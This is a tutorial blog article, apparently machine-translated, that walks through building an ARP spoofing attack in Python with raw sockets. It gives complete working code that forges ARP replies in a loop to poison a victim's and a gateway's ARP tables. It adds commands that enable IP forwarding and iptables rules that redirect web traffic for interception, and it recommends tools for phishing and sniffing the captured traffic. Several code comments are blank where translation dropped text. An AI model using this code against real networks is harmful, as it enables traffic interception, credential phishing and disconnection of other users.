Implementing ARP Spoofing in Python

Introduction



In this article, I would like to demonstrate how you can implement your own ARP spoofing program in Python. There are already thousands of implementations, but almost all of them are using the Scapy library and a couple of methods. Perhaps this library is more efficient to use, I do not argue, but I was interested in implementing it myself using sockets and I would like to tell the readers how this is done.



It is assumed that you are already familiar with how the ARP protocol works and its disadvantages, if not, then I advise you to read this article .



I am not a highly qualified Information Security specialist, so I ask you not to throw your slippers, but to specify any inaccuracies in the comments.



A bit of theory



Let's start with the fact that the protocol code is \ x08 \ x06 and it works at the second OSI layer, that is, channel.



Then you need to familiarize yourself with the body of his package to know what to send. On wikipedia it is very well written:



Package body
Hardware type (HTYPE)

, . , Ethernet 0x0001.

Protocol type (PTYPE)

. , IPv4 0x0800.

Hardware length (HLEN)

. Ethernet 6 (0x06).

Protocol length (PLEN)

. IPv4 4 (0x04).

Operation

: 0x0001 0x0002 .

Sender hardware address (SHA)

.

Sender protocol address (SPA)

.

Target hardware address (THA)

. .

Target protocol address (TPA)

.



At first glance, it may seem difficult, but if you figure it out, then problems should not arise.

And so, the first - Hardware Type (Type Hardware) for us is Ethernet, so the code will be 0x0001 or \ x00 \ x01 , Protocol Type (Type of protocol) - IPv4, encoded as \ x08 \ x00 ; then comes the length of the hardware and protocol type \ x06 \ x04 , that is, 6 and 4 bytes.

And at the end we have an operation code, which in the case of a request is \ x00 \ x01 , and in the case of a response \ x00 \ x02 and the physical / logical addresses of the sender / recipient.



Implementation



First of all, you need to declare a socket instance and set the necessary parameters:



import socket
import time

interface = "wlan0"  #   
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb"  #  MAC-,   bb:bb:bb:bb:bb:bb

gateway_ip = socket.inet_aton("192.168.1.1")  # IP- 
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa"  # MAC- 

victim_ip = socket.inet_aton("192.168.1.2")  # IP- 
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc"  # MAC- 

connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))


Assuming ARP is an OSI Layer 2 protocol, we use socket.PF_PACKET as the first parameter. You will also need root rights for the program to work.



The socket.htons () method converts 16-bit natural numbers to network byte order.



The socket.inet_aton () method converts IPv4 addresses to 32-bit binary.



I also declared the required variables.



The next stage is the formation of the package:



arp_code = b'\x08\x06'  #  
htype = b'\x00\x01'  # Hardware Type
ptype = b'\x08\x00'  # Protocol Type
hlen = b'\x06'  # Hardware Length
plen = b'\x04'  # Protocol Length
operation = b'\x00\x02'  # Operation Code - 

protocol = htype + ptype + hlen + plen + operation  #  

#       ,       
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code

#      
# 4     4    ,    
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip

#   
while True:
    connect.send(request_victim)
    connect.send(request_gateway)
    time.sleep(1)


Now we have analyzed only the program itself, but if you want not only to disconnect users from the gateway, but also to replace / sniff packets, then for this you will need to enable forwarding in ip_forward:



echo 1 > /proc/sys/net/ipv4/ip_forward


And also configure packet routing through iptables:



iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080


If you want to conduct phishing, the mitmproxy utility is the best choice .

You can view the traffic passing through you using the tcpdump utility .



Also on my GitHub I published a script designed to disconnect all or some nodes from the gateway - github.com/secwayz/netbuster



As a result of writing the program, I found that even with the operation code 0x0001(request) and with all the parameters from the response (they are slightly different), the victim still receives the packet and changes the MAC address in the ARP table, while the stability of the attack and the strength of this entry are significantly increased. I assume that this is another flaw in the protocol, in which the network interface does not ignore the incorrectly composed packet, but processes it and overwrites the table.



All Articles